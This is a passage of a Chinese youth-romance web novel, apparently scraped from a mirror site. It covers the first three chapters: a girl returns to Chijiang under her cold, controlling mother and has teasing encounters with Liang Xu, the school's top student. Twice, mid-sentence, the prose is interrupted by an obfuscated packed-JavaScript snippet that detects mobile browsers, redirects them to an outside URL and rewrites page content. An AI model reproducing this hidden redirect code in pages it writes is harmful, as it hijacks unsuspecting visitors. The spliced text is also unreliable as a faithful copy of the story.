《比作夏天》 1. 文学城独家发布 八月末,夏季延绵。 整座山城似被太阳反复烘烤,即使屋内开着冷气,但只要稍稍靠近窗户,就会感受到灼人的热意。 柳向晚坐在沙发边,白净的胳膊上是晃动的树影。 她张开手掌,阳光平铺在掌心之中,半秒后,又蜷缩起手掌,试图捉住一丝阳光。 但阳光并没有留在掌心,反而窗帘忽而轻轻晃动,光影从手上顺移到了少女脸上。 流动光影下,少女轻轻抬睫,露出一张清冷的五官,眉眼淡然,尤其一双丹凤眼微微上挑,在阳光下泛出淡淡的浅褐色,更显疏离。 她没什么表情,不笑时又多显冷漠,像是水中的倒影,美而寡淡。 柳向晚疑惑地看了眼空了的掌心,回过头去,就看见表弟在窗帘后面捣乱。 柳向晚:“你们在干嘛呢?” “我们在捉迷藏呢。”表弟趴到了沙发侧边,压低声音道,“姐姐要不要来玩。” 柳向晚:“……” 她看了下表弟快要藏不下的体型,顿了顿,婉拒道:“不了,你们玩吧。” 说完,她就站起身来,打算转移位置。 她一站起来,高瘦的身形便在人群中格外突出,藏也藏不住,没过两秒就被亲戚拉到一旁聊天。 面对一众陌生的亲戚,说是聊天,称为单方面询问更为合适。 “小晚,这几天搬回池江还适应吗?” 柳向晚点头:“还行。” “小晚,开学打算去哪个学校啊?” 柳向晚没说话,视线看向母亲程辛。 程辛:“池江一中。” 哦,原来她开学去池江一中上学。 柳向晚又扭回头来。 “一中啊,一中好啊。”亲戚又跟着道,“知安不就是在一中上的吗?那小晚要多和哥哥学习啊,争取超过知安。” “知安”说的是,柳向晚已经去世的哥哥柳知安。 程辛淡淡道:“她比不上知安。” 柳向晚又没说话,像个旁观者一样听着。 亲戚有些尴尬:“哈哈比不上知安也正常,要不是出了意外,知安绝对是他们那年的高考状元。” 旁边的亲戚也说:“是啊,知安那时候可是次次拿全校第一。” “对啊,就小晚这一届也有个和知安一样厉害的学生。” 程辛感兴趣问道:“哪个学生。” “好像叫什么梁旭吧,也是次次考试基本拿第一,能甩第二名十几分。” “我知道他!他还是我们学校校排球队的,打球可厉害了!”同样在一中读书的表妹赶紧插话道,“而且听说性格也特别好。” 一时间,几家亲戚似乎多多少少都对少年有稍许了解,各自插话,补充完整了“梁旭”这人的形象。 只有柳向晚心不在焉地听着,左耳朵进右耳朵出。 她心想,梁旭,梁旭,明明这名字听着就讨人厌。 没过多久,人群散去,热闹的别墅又恢复了这几天刚搬进来的冷清。 柳向晚也上楼,回了房间,继续学习。 再下楼时,客厅只剩下了大姨和程辛在说话。 柳向晚拿着水杯,从楼梯上慢慢走下,清晰地听见了他们的谈话。 “小妹,不是我说你,你作为当妈妈的不能太偏心。” 大姨道:“小晚小时候你不重视她,一心扑在知安身上,前几年知安去世了,你又接受不了,带着小晚从池江搬去东庐。” “现在好不容易回了池江,我看小晚和你也很生分啊。” 大姨语重心长道:“你也要多关心一下小晚啊。” “不能说现在知安没了,你知道悔了,想再培养一个‘知安’出来。” 楼梯上,柳向晚脚步顿了顿,淡淡地听着这话。 她下楼,将水杯放在桌上,故意发出轻微的响声。 一瞬间,大姨和程辛说话的声音戛然而止。 柳向晚转身,从程辛面前经过,唇边带着不明显的笑意,她像是什么都没听到般说:“妈,我出门逛逛。” 程辛面色冷静地点了点头。 大姨的表情则稍显尴尬,似乎在担心刚才的话有没有被听见。 柳向晚并没有关心他们的反应,独留下一屋子微妙的沉默,让他们相互揣测。 …… 一路从别墅区走出,热浪持续翻滚,将柳向晚有限的开心也消耗殆尽。 她刚刚其实可以完全装作没听见这事,体面地在楼梯上时就端着水杯回房间。 但她还是故意选择了下楼,甚至特意从程辛面前经过。 似有似无地印证她可能听见了他们的谈话哦。 柳向晚觉得自己挺无聊的,像个只会恶作剧的小孩,居然还会干出这种事。 她长长地呼出口气,漫不经心地独自消化着这几天发生的所有事。 明明只是几天时间,却像是经历了翻天覆地的变化。 先是在东庐市时,程辛通知她,他们将要搬回池江市生活。随后,就是紧锣密鼓的搬家行程,轻而易举地从另一个城市搬到了另一个城市。 甚至在这其中,柳向晚连为什么搬回池江,开学了她要去哪上学都不知道。 只是服从程辛的各项安排。 一路沿着树荫走,不久后,柳向晚就走到了老城区附近。 街区里行人很多,柳向晚纵身在其中,不断穿梭,强烈的陌生感涌上心头。 明明曾经也在池江从小生活,但如今搬回,市景市容竟也变化地不敢相认。 低矮的居民楼长成了摩天大厦,路两边是各种小店,只有门口走过的路人,说着熟悉的山城话时,才让柳向晚多了两分实感。 她忽然间想起了柳知安。 想起小时候,一直都是柳知安领着她过来玩,他顺便打球。 回忆短暂过渡,柳向晚顿了下,沿着街道继续走。 等再回神时,她才发现自己到了柳知安之前经常来打球的地方。 她下意识想走开,但匆匆走了几步,又倏然间转头,进了球场对面的便利店。 柳向晚买了一瓶水和一份甜品,坐在便利店的用餐区,望着外面的体育场边玩手机边休息。 用餐区恰好对着体育场,可以一览无余对面的情况。 正值下午,天正热,体育场人不多,只有排球场内有几个少年打着排球。 距离稍远,看不清具体的样貌,只能通过身形和衣服辨清几个少年。 看得久了,目光就下意识被其中一队的主攻手吸引。 即使隔了点距离,也能看出主攻手少年身量很高,穿了一件简单的黑色无袖,肩膀平直宽阔,弹起跳跃间,浮起劲悍的肌肉线条。 明显属于不用看清脸,光看身材和身形,也会觉得是帅哥的类型。 柳向晚没忍住,又多看了两眼。 排球执掌在少年手中,被轻轻挑起,又重重拍下,像是一把利剑直直插向另一队,令对方来不及反应,就见球触地得分。 远处云层飘荡,阳光从云层中穿透而过,清晰地勾勒出光的形状,似最浓艳的色彩,瞬间染红了整片天空,一路艳烧至看不见的边际。 原来已经到了黄昏时分。 柳向晚将桌子上的垃圾扔掉,走出了店门。 而另一边,少年结束了一场球局,下意识提起衣领,擦去头上的汗,又顺道转身来拿放在凳子上的水。 不经意间,他露出了腰腹间块状分明的肌肉和流畅的人鱼线。 柳向晚抬起眼,撞见了这番场景。 “……” 少年对上她的目光,似乎怔了下,瞬间松开衣领,遮住了腹肌。 柳向晚:“……” 怎么那么小气。 她回过神来,也没尴尬,很礼貌地朝少年点了点,轻轻笑了下。 少年似对她的反应也惊讶了一拍,随之跟着笑了起来。 夏日炎热,少年笑起来却像是短暂的凉风,吹散了一丝热浪。 他眉宇见光,眼皮褶皱宽而微微上挑,望向人时好似笑眼,闪耀夺目。身上更有压不住的张扬气,带着少年人的骄傲与坦然。 天空高挂斑斓的火烧云,远处的山峦也被余晖染上了一抹红色,像是燃烧的烈焰,舞动着灼热的边缘,整个世界仿佛被火焰所包围,熠熠生辉。 柳向晚愣了下,突然在想,如果梁旭长成这样,她还能勉强原谅今天被“梁旭”二字洗脑的痛苦。 小插曲很快过去,两人都未在意。 柳向晚也从球场离开,重新在陌生的巷子里闲转起来,观察着池江这几年的变化。 天暗了下来,星星点点的灯爬满山城步道,照亮空气中隐隐约约的雾气,温度较下午的炎热多了几分凉爽,要舒适很多。 离开的这几年,池江似乎发生了小小的变化,但这小小的变化,已经让柳向晚感到陌生。 曾经的杂乱小巷被拆除,取而代之的是新修建的道路和庞大的商场,回忆只留下微弱的痕迹。 她穿过柏油路,不知走了多少路,终于看到一中旁边熟悉的建筑。 矮矮的居民房一栋接着一栋,窗户狭窄密集,外墙的白已经沾染上积年累月的黑污。巷子中电线裸露,错杂盘绕在头顶,停了不少电瓶车。 柳向晚一路往深处走,直至走到池江一中附近,觉得走累了,打算导航回家时,才发现手机没电了。 秀眉皱了下,柳向晚有点不知道怎么办了。 但好在,一中附近摆了不少小吃摊,这会儿来来往往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287057|166948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少人,其中就有个熟悉的面孔。 柳向晚犹豫了下,走向对方。 头顶的路灯亮着,少年斜靠在电线杆上,手里拿着switch,身旁是一家章鱼小丸子摊铺。 夜晚的山风凉而清透,从街道横穿而过,吹飘少年额前的碎发,露出浓密的睫毛和漂亮的眼眸,他身形高伟,静站着时,犹如一座巍峨的小山,虽气质散漫,但总觉难以靠近。 “您好,请问您知道百里弄的路怎么走吗?” 柳向晚问出声,打断了男生游戏的进程。男生似乎也没有在打游戏,顺势关上了游戏机,收进了包里。 他站姿散漫,眼睫微抬,淡淡打量着少女。 看清人后,少年挑眉,似乎惊讶于在这还能遇见柳向晚。 他一顿,“刚刚是不是见过?” 柳向晚点点头:“对,下午在球场那块见过一面。” 少年表情发生微妙的变化,“你追我追到这?” 柳向晚:“……” 她冷呵了声,抬起眼,从上至下将男生打量了个完全,最后轻轻一哂。 她冷淡道:“眼瞎可以去瞧。” 梁旭:“……” 他不禁垂眸,目光淡淡地落在少女脸上。 月光微明,女生皮肤白得似会发光,巴掌脸大,丹凤眼,眼皮薄透,面无表情看人时,瞳仁漆黑如墨,气质像盛夏白瓷梅子汤叮咚叮呤相撞般冷冽。 一股淡淡的逼王大小姐感。 少年笑了下,挑唇不咸不淡道:“是我看错了。” “你刚问什么?”他道。 少女没了耐心:“百里弄怎么走。” 梁旭听完,没直接答,而是说:“百里弄离这步行差不多要走四十分钟,建议你打车回去。” 他视线落在少女握着的手机上。 柳向晚无奈,向他展示了已经关机的手机,“手机没电了,你直接告诉我怎么走就好了。” 男生思考了下,轻描淡写地笑:“行,要我多说两遍吗?” 柳向晚不明所以:“不用。” 见她这样说,男生也没多说,随即开口。他语速不快,但不知道为什么组在一起就成了难以入耳的紧箍咒。 少年声音偏低,在夜色中像是沙沙的风:“先从面前这条路直走大概400m,上楼梯,右转走150左右,再右转300m……过四个巷口,上大桥……就到百里弄了。” “……” 现在后悔还来得及吗? 柳向晚几乎要被这一段话砸晕,一面觉得他是不是人形地图,一面怀疑他是不是在瞎诌,怎么可能有人能记得那么清楚啊! 她懵了懵,觉得自己什么也没听到。 沉默了下,柳向晚冷淡颔首:“哦,谢谢你,沿着这条路直走是吧。” 她随手指了一条路,觉得拢共也就四个方向,总能随机点对吧。 梁旭就静静地看着她笑,顺势接过摊铺老板递来的做好的小吃,他懒洋洋挎好背包,将小吃勾在指尖。 梁旭:“嗯,再见。” 灯暗,梁旭懒洋洋地站在原地,看着女孩一步一思考,走向了他未曾设想的道路。 他喉咙里溢出一声笑,淡淡收回目光。 而这边,柳向晚发现自己没走两步,身旁就多了个人,两人的影子并肩行走在地上。 她侧眸看向男生,问:“你怎么过来了。” 梁旭看着前路:“我顺路。” 柳向晚:“你也去百里弄?” 梁旭抬了下眸,很轻地发出一声笑:“我不去,我去幸福苑。” 作为一名曾经的池江居民,柳向晚对附近的几个出名小区还是有点记忆的,她道:“幸福苑和百里弄是相反的方向吧,你怎么从这走。” “因为你走错了,这是去幸福苑的路。”梁旭停下脚步,侧头看着她。高矮不一的影子垂落在地上,偶有电摩经过,灯光闪过,带来片刻波动。 “……” 柳向晚沉默了。 她知道自己有点路痴,但怎么也没想到,今天连运气也那么差。 居然刚走,就已经走错了路。 人怎么能尴尬成这个样子。 耳根不动声色地红了起来,但好在借着夜色,看得并不清楚。 她眨了下眼,依旧一派淡定,硬着头皮挽尊道:“哦,我是散步,想过来看看这边有什么店铺,嗯…现在看的差不多了。那什么,我走了,下次有机会见!” 说着,少女便转身要走。 男生似乎又似有似无地笑了下。 他闲适地点了点头,重新给她指了方向。 “希望下次见面时——” 少年一顿,笑得漫不经心:“你还没有走到世界的另一个尽头。” 2. 文学城独家发布 踩着夜半钟声无人时的点,柳向晚一路寻回了家。 回家时,楼下客厅的灯还在亮,程辛女士坐在沙发上,电视里放着新闻,声音不大。 程辛听到她开门的声音,淡淡扫过来一眼,眼中没有太多波动,平静道:“以后要是不想回来,可以不用回来了。” “我什么时候说不想回来了。” 柳向晚感到有丝莫名其妙,她抬起眼来看程辛,见程辛没看她,又低下头揉捏着酸痛的小腿。 下午走了不少路,如今猛然停下来,疲惫就像潮水涌遍全身,将她掀翻。 她揉捏好小腿,换鞋走到客厅,倒了杯水喝。 程辛关了电视,走过来,从上至下,像审视犯人般看过她:“去哪玩了?” “哪里也没去。”柳向晚捧着水杯淡淡道,“就沿周边逛了逛。” “在周边逛能逛到这个点才回来?” 程辛的眼神太过冷漠,柳向晚下意识避开了母亲的眼睛,低着眸喝水。她的动作被程辛认为是心虚,程辛冷哼两声:“你以为你大了,我就管不了你了吗?” “我没这样想过。”柳向晚低着眸,平静地和母亲解释,“我说了,我只是在周边逛逛。” “那为什么现在才回来?” “迷路了。” “你说这话你自己信吗?”程辛并不相信,“柳向晚,你是十七岁,不是三岁,还会迷路吗?” 柳向晚不知道该说些什么,有些无力的沉默,她摩挲着杯壁,只是在想,妈妈确实不知道她会迷路,因为妈妈的目光从来没有看向过她,她只会关注哥哥。 眼睛忽而有点酸涩,她没抬头,也不想多解释什么,放下水杯,转头上楼。 “你觉得是什么,就是什么吧。” “柳向晚!”程辛在后面呵斥她,“有你这样的态度吗,你要是不想回家,以后都别回来了。” 柳向晚进了房间,少女一句轻飘飘的“哦”从楼上荡了下来,随着房门的关上随之合闭。 房间里,柳向晚将自己紧紧包裹在被子中,以至于呼吸不顺。 眼泪框在眼睛里,她始终想不明白,为什么妈妈从来没有关注过她,她不也是她的孩子吗,为什么她的目光始终只会看向哥哥,从来不会知道,她会迷路,她不喜欢吃鱼,也不喜欢喝牛奶…… 她只会希望自己成为哥哥,像哥哥一样……泪水浸湿被褥,柳向晚对着空荡荡的房间,小声地呜咽着。 第二天醒来,是家里的管家李叔敲响了她的房门。 柳向晚眼还有点肿,她揉着眼睛,睡眼惺忪地开了门,见李叔手里端着一杯热牛奶,另一只手则拿了个白盒子。 柳向晚只看一眼就知道,白盒子装的是监控。 他们在东庐的家里,她的房间,有着一款一模一样的监控,就放在她的书桌上,时时刻刻监视着她的一举一动。 一阵窒息感掐住了柳向晚的喉咙,她没说话,沉默地站在李叔背后,看着他熟练地装好监控,放在她的书桌上,又转身退了出去。 白色的监控调动着,扭转机身,笔直地对准了她。 少女的眼神也笔直地驻留在摄像头上。 回池江一周都没装摄像头,她还以为程辛是忘了这事,原来只是在试探她是否听话,一旦她伸出獠牙,监控和各种手段就像镣铐般紧紧地缠绕住她,桎梏住她。 她若无其事地收回视线,没忘记刚才李叔提了一句,下午程辛要带她提前见一见老师的事。 时间一路耗到下午,山城里笼起薄薄的雾气,江风裹挟着淡淡的潮气吹入车内,扬起少女脸颊的碎发。 程辛看了一眼:“关上车窗。” 柳向晚手搭在侧边,按住开关,关上了车窗,缝隙逐渐变小,窗外昏昧的光影垂落在她身上,淡淡地勾勒出两分寡淡。 关上窗户后,程辛又将电台的声音调小了些,淡淡嘱咐着柳向晚一会见到老师要主动问好,不要一天到晚都是一副谁欠她几百万的脸色。 柳向晚表面应了声好,心里却在想,如果她不按照程辛说的做会怎样,程辛会当场发飙吗,还是会为了维护自己的颜面,故作一个好妈妈。 柳向晚不知道,因为她乖乖地按照妈妈的要求,礼貌地和每个老师打了招呼。 一众人落至桌上。 几位老师接连奉承了几句程辛和柳向晚,毕竟家里这几年生意做的大,即使程辛不说话,也多得是人来巴结他们。 一时间,饭桌上,各种心思流动,各有各的算盘。 老俞作为其中人精中的人精,也有着自己的打算,他作为火箭班班主任,更担心柳向晚直接进他们班会拉低班级成绩。 “之前是在德英国际学校读书是吗?”老俞不着痕迹地开口,重新将话题拉回正题。 这场饭局是大姨组的局,她也在,一下子便听懂了老俞的话外之意。 “是啊,这孩子之前身体不好,想着读国际学校方便点,就让她读了几年。”大姨笑笑,点破老俞关心的点,“不过这孩子成绩好,随她哥,也是常年拿第一的主,成绩这方面就没让操心过。” “所以,现在回池江了,这不也是优先想着,让她回她哥高中上学,正好离家也近,方便照顾。” 旁边的副校长听到这话,也笑了笑,拍拍老俞的肩说:“你怎么忘了呢。” “她哥,柳知安,就是我最后带的那届,老考年级第一的那个。” 说到这,老俞有了印象。虽说优秀的学生不常见,但像柳知安这种常年包揽年级第一和市第一的天才还是少见。因此就算他没带柳知安那届,也能从别的老师嘴里听起过。 但后来,再提起时,也总是惋惜地带上“天妒英才”四个字。 老俞卡顿了下,换了话题:“以前的事就不多说了,今天还是主要想了解了解向晚的情况。” “咱们火箭班压力会比其他的班大一些,开学之后班内也会有一个摸底测试,要好好准备,看看自己距离大家的差距还有多少。” “但如果没考好,也不要沮丧,之后多下苦功夫,一定能迎头赶上。” 柳向晚认真地点头:“我会好好准备的。” 老俞笑笑,顺嘴提起了班里了另一个孩子:“班里还有个孩子和你也像,成绩好,长得也帅,这次联考还拿了市第一。” 副校长插话道:“那个‘梁旭’是吧,这也是个卷王。” “卷王?”一旁的大姨笑了,摸了摸柳向晚的头:“真巧了,我们小晚也从小是个卷王。” 她调侃道:“我看可以把他们俩安排坐个同桌,刚好比着学,看谁能卷过谁。” 柳向晚揪了揪大姨的袖子,刚想抬起脑袋说算了,她还是比较想一个人单独坐的时候,就对上了程辛轻掠过来的目光。 她话到嘴边卡住,就听见程辛收回目光,敬了一杯老俞,说:“我看也可以。” “正好我家这个从小傲气重,让年级第一坐她旁边刚好挫挫她的锐气,让她知道人外有人,天外有天。” 这话一出口,柳向晚就知道这是程辛在暗自敲打她。 程辛惯会用这种敲打员工的手段,带回家来同样敲打她,仿佛在她眼里,柳向晚就是她的员工,她有资格打压柳向晚的个性,也有权利决定柳向晚的一切。 一时间目光集中在自己身上,柳向晚不知道该说些什么,只能尴尬地笑了笑,紧紧捏住瓷杯。 瓷杯中水波晃荡,映出少女拗劲的神情。 饭局结束时天色已经暗了下去,送完老师们离去后,程辛回公司有事开车走了,大姨提议送柳向晚回家,被柳向晚以约了朋友为由婉拒。 见大姨走后,柳向晚才拿着手机一路慢悠悠晃荡到轻轨附近。 她其实并没有约朋友,她在池江也没有朋友,这些年过去,唯一剩下的就只有年少喜欢和熟悉的哥哥娄宴青。 迟疑许久,在手机上反复敲打,柳向晚才发下信息。 [柳向晚:宴青哥,你明天有事吗,要不要出来玩呀(小猫滚滚.jpg)] 发完消息,柳向晚一眨不眨地盯着手机看,生怕错过消息。 但直至过了十分钟,对话框也一动不动,丝毫没有要回复的样子。 心下瞬间失落起来,柳向晚长长地吁出口气,不太开心地踢飞了脚边的石子。 石子滚啊滚,滚到了一处正在的营业的烧烤摊边。 这会儿,城管下班,路边支起了大大小小的烧烤摊,扬起滋滋冒油的烟火气,似池江扎根在小山的低楼般,组成了池江繁荣的夜景之一。 肉串在火炉上滋啦作响,人们举着咕噜冒泡的啤酒,碰击相互的酒杯,发出清脆的声音,身体也仿佛在一天的疲惫中得到了短暂的放松,让所有人从尘世的烦躁中脱离,只一个沸腾的夜里,和三两好友作伴,忘却所有烦恼。 肚子不受控制地咕噜了下。 柳向晚在饭局上没怎么吃,一是吃的不合她胃口,二是没心情吃饭,只听了一肚子不愉快。这会儿烧烤的香气一下子就勾起了味蕾的欲望,她不由自主地坐上了小板凳。 麻溜的服务员立即小跑过来,递来了菜单。 柳向晚没一个人吃过烧烤,便抬头看看旁边几桌点了什么,这一瞥,看见了一道熟悉的身影。 夜色下,灯色昏黄,伴随虫子的嗡鸣声。 少年肩背宽阔,头微微低着,时常锻炼鼓起的肌肉贴合着布料,随着动作的运动,时而起伏着,勾出干净而利落的腰背线条,是光看着就感觉勾人的身材。 像极了会去短视频平台擦边的身材…… 柳向晚再次默默留下了自己的视线,最后转而看向少年的脸,看见了他笔挺的鼻子,中间微微凸起,像座小山。 也随之看见了,他们桌上除了烧烤,摆满了暑假作业和笔,似乎在补又似乎在抄作业。 不仅柳向晚看见了他们在补作业,隔壁桌的大哥也看见了这群少年笔尖不停地补着作业。 大哥单手拿着酒杯,另一只胳膊搭上他们的板凳,笑呵呵地问他们:“这是开学,准备努力了?” 桌上除了梁旭,还坐了两个男生,其中一个皮肤略黑的男生笑着回: “唉,您瞧可不是吗,这还有比我们还努力的学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287058|166948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 大哥挑眉,也没拆穿他们,揶揄了几句就侧身回了自己桌。 柳向晚将勾好的菜单递给服务员,压低声音地指了指梁旭那桌问他:“他们是在补作业吗?” 服务员似乎对他们很熟,收了柳向晚的菜单,也小声地说:“是啊,他们这几天都来这补,这不是后天要开学了嘛。” 柳向晚叹为观止,虽然她平时总是从网上看见,开学前一支笔创造一个奇迹的梗,但她作为一个铁血j人,从来都是按时甚至提前写完作业,今天还是第一次看见真人在开学前狂补暑假作业。 隔壁桌似乎也写累了,刚才和大哥说话的男生葛伟放下笔,使劲地甩了甩手。 他还算聪明,一个暑假写完了数学和语文两本重量级作业,剩下的科目也就只剩下些字少的,因此补起来也轻松多了。 “他喵的,真服了,怎么后天就开学了呢,我还感觉我什么都没干呢。”葛伟道。 已经写完所有作业,来这只是专程带着作业给另外俩人抄的陈洱温润一笑,“你确实什么都没做,尤其没做作业。” 葛伟:“……” 他真服了,是兄弟就插他一刀是吧。 他无语,转头骚扰起认真补作业的梁旭。 “旭子,旭子——”葛伟试图打乱他补作业的进程,“旭爱妃,你怎么不理朕,朕要将你打入冷宫。” 梁旭眼也没抬,置若罔闻,笔尖似擦出了火花,瞬间补完了一面作业。 葛伟:“……” 这也是位实力健将。 葛伟默默问:“旭子,你他喵写那么快,看答案了吗,不会在那瞎编呢。” “瞎编什么。”梁旭松了笔尖,甩出墨水,他捏着笔时,手背脉络清晰,手指更是削瘦和漂亮,他淡淡抬眸反问,“难道不是看一眼答案就出来了吗?” 葛伟:“……” 身后的柳向晚:“……” 他们齐齐冒出一致的想法:死装男。 梁旭似乎看出他们所想,扯唇笑了,他放下笔,手搭在身旁的空着的椅子上,白t随着动作扯出褶皱,廓出紧实的肌肉。 晃眼的白炽灯光映在他的眼眸中,少年懒洋洋地揉了把头发,他云淡风轻地笑: “想什么呢,当然是在瞎写了。” “……” “…………” 再次齐齐地一致地冒出一条黑线。 柳向晚正要继续听他们说话,就感到手机一阵震动,抬手一看,是娄宴青打来了电话。 她划开屏幕,在一片嘈杂声中接通电话。 “喂,宴青哥。” 娄宴青听到她周边的杂音,有点疑惑:“小晚你这是在外面吗?” “对,正在吃烧烤。”柳向晚有一下没一下地敲着可乐瓶身,“今天下午跟我妈和老师们吃了个饭,没怎么吃,现在饿了随便吃点。” “女孩子一个人在外面要注意安全。”娄宴青道,“你在哪,我去接你。” 柳向晚摇摇头:“不用宴青哥,我一会自己就回去了。” 娄宴青无奈,但还是问柳向晚要了烧烤摊的确切地址,又问起了她回池江读书的事。 柳向晚说起这个就忍不住烦躁起来,她顺口说了程辛已经把她同桌都安排明确的事。 她没见过老俞口中的“梁旭”,却也因程辛问也没问她,就替她决定同桌的事,忍不住殃及池鱼,莫名对这个所谓的年级第一“梁旭”有了点反感。 “对,叫梁旭。”柳向晚道,“我要诅咒他越长越丑,吃泡面没有调料包,每天都要喝牛奶,对,写试卷还忘带笔……” 娄宴青听得哭笑不得:“小晚,你这叫累及无辜。” 柳向晚说完这一通,气消了:“那好吧,我收回我的诅咒。” 她一边说,一边起身打算去结账,却不经意间撞上了刚好同样起身准备去结账的梁旭。 她扬手打了个招呼,顺手挂了电话。 柳向晚:“好巧。” 梁旭挑眉,轻笑了一声,带着山城人的散漫劲:“巧,没想到你没走到世界另一头。” 柳向晚一下子不理他了,她径直走过他身侧,先一步到了收银处结账。 梁旭则靠在旁边,从小盘子上漫不经心捡了颗薄荷糖吃,咬碎在口中,蹦出清凉的口感。 他冷不丁想起,刚才女生电话里似乎隐约提到了他名字这件事,起了兴趣,问她: “对了,你叫什么?” “柳向晚,你呢。” 看这反应,不像知道他名字的。梁旭下意识也要说出自己的名字,又一卡顿,想起这姑娘刚刚诅咒“梁旭”的话,看样子她挺讨厌这个“梁旭”的。 他莫名很有眼力见地没说出自己名字,而是紧急换了话题,问:“你觉得我长了怎么样。” 柳向晚随口道:“挺帅的,怎么了。” 梁旭松了口气,心想应该不是他了,他放松下来,随即一想到自己要说些什么,就忍不住笑意:“哦,这就是我的名字。” 他唇角一松,“坐不改姓,人不更名,就叫——梁大帅。” 3. 文学城独家发布 柳向晚:“?” 现在居然还有人叫这种名字吗? 她下意识怀疑起这应该不是真名吧,顺势抬起眼来,视线移到了少年的脸上,少年面部折叠度很高,淡淡的光影照在他脸上,将这张锋利的浓颜系长相划分为阴阳两部分,勾勒出似山川高挺的鼻梁,还有一双狭长含情的笑眼。 柳向晚怔住,一下子忘了刚才想的什么。 她别扭地移开视线,心想,好吧,长成这样,叫大帅什么的,似乎也情有可原,毕竟本人确实长得很帅。 她拿走结好的账单,昧着良心夸赞:“好名。” 梁旭挑眉一笑,顶替柳向晚站的位置,同前台结账,顺道懒洋洋地支着脸道:“谢谢,你的也是。” 柳向晚:“……” 柳向晚抿了抿唇,心里莫名有种没被夸到的感觉,果然,叫这种名字的人夸她的名字好看,就如同乞丐夸另一个人有钱,毫无说服力。 她硬巴巴本着礼貌应了声谢谢,正转身要走时,身旁的男生况似不经意叫住她。 梁旭单手敲着桌面,啪嗒啪嗒地响,语气散漫,带着几分不着调的戏谑:“刚才听你提起了‘梁旭’这个名字,怎么,你讨厌他?” 柳向晚怀疑地抬眼,语气反感:“差不多吧,你认识他?” 梁旭唇角微翘,笑意藏不住,忍不住低笑着咳出声。 虽然他觉得女生说的人不是他,但是不妨碍梁旭觉得新奇和好玩,尤其是少女的反应,跟被惹毛的小猫似的,抬爪就是公平地一人一爪,但丝毫没有攻击力。 他笑够了,慢悠悠摇头说不认识。 再一低头,才发现少女早已面无表情地盯着他看。 “你还有事吗,没事我先走了。”柳向晚心想这人纯逗她玩呢,语气不自觉变得冷淡。 说着,她又拿起手机看了眼时间。 一副赶时间,不想听废话的大小姐做派尽显。 梁旭压住唇边的笑意,又轻咳两声:“没事了,下次见。” 少女没理她,径直走了。 独留梁旭在后面,看着她离开的清瘦背影,唇角的笑藏都藏不住,最后喉咙里发出阵阵低笑,连带着肩膀微微颤抖。 葛伟寻了过来,看到他站在那里笑个不停,忍不住给了他一拳。 “笑屁呢。” 梁旭掀起眼睫,笑得挺无辜,一把搭上葛伟的肩,吊儿郎当地摇摇晃晃地回座位:“笑你太搞笑。” “滚啊。”葛伟瞥了眼柳向晚走的方向,随口问,“刚那姑娘你认识?” “不认识,昨天遇到过一次。” “那你跟人聊那么久,对人姑娘有意思?” 梁旭笑,“哪只眼看出的,我来给你瞧瞧,你没看那姑娘一副眼高于顶大小姐模样吗?”说罢,他就冷不丁地抬手钳住葛伟的脸,作势要扒他的眼睛看看。 葛伟躲开他的动作,一连蹦老远,“狗贼——快从旭子身上滚开。” 梁旭更加笑个不停,被葛伟戳中了笑点,肩膀笑得直晃。 而另一边,柳向晚踩着门禁点,回到了家。 她推开门,屋子里安静得只有她自己的脚步声,程辛还没从公司回家,家里只有她一个人。 “早知道在外面多呆一会儿了。”柳向晚小声嘟囔着,上了楼,“算了……还是这个点回来好,免得又被说。” 慢腾腾洗漱完,柳向晚躺回床上,有些失眠。 脑海里,不停回播着程辛在饭桌上打击她的话语,和冷冰的神情,以及从前,程辛时刻将自己和哥哥对比的回忆。 柳向晚睁开眼,盯着漆黑的天花板发呆。 她不懂,是她始终不懂,为什么同是妈妈的孩子,妈妈永远不会对她满意,时刻将她和哥哥的优秀对比,她再努力优秀,在母亲眼里从来都不如哥哥,不如别人,她永远是那个不令人满意的孩子。 可人为什么一定要被比较着优秀。 难道她的优秀,必须在和其他人的反复对比中,才值得存在和认可吗? 内心涌上一股无力感,柳向晚翻了个身,闭上眼睛,只觉得因为程辛的特意安排,让她和自己的新同桌“梁旭”之间横亘一堵高墙,她始终不自觉地感到敌意和压力。 - 时间很快过去,来到了开学那天。 柳向晚之前来过不少次池江一中,对学校的布局还算熟悉,很快跟着人流找到了高二的教学楼。 她从走廊穿过,路过了走廊中间立着的年级成绩排名表。 这学校排名表和别的学校不一样,别的学校一张排名表只挂前几十,这学校一张年级排名表,密密麻麻,塞了全校前八百名。 柳向晚心想,这下稳了,下次妈妈问成绩怎么样,直接说年级荣誉榜有我,再也不用担心被妈妈骂啦~ 视线顺势看向了第一名,柳向晚看见了个熟悉的名字。 第一名梁旭 柳向晚:“……” 是不是越不想看见什么,越偏偏给她看什么。 呵,年级第一有什么,柳向晚不屑地移开了目光,同时,内心升起隐隐的挑战欲望,程辛说她不如这人,她偏要证明给程辛看,程辛说的人外有人,天外有天,越过去之后,也只会是她。 她傲气地走过了排名表,在拐角处,找到了级部办公室,见到了老俞。 办公室装修风格清贫,空调没开,只有一架老旧的风扇摇头晃脑地动着,发出吱嘎乱作的响声。 需要嘱咐的点前几天在饭桌上已经说过了,没有多提,老俞简单说了几句,看着快到时间,便带着柳向晚去了班级。 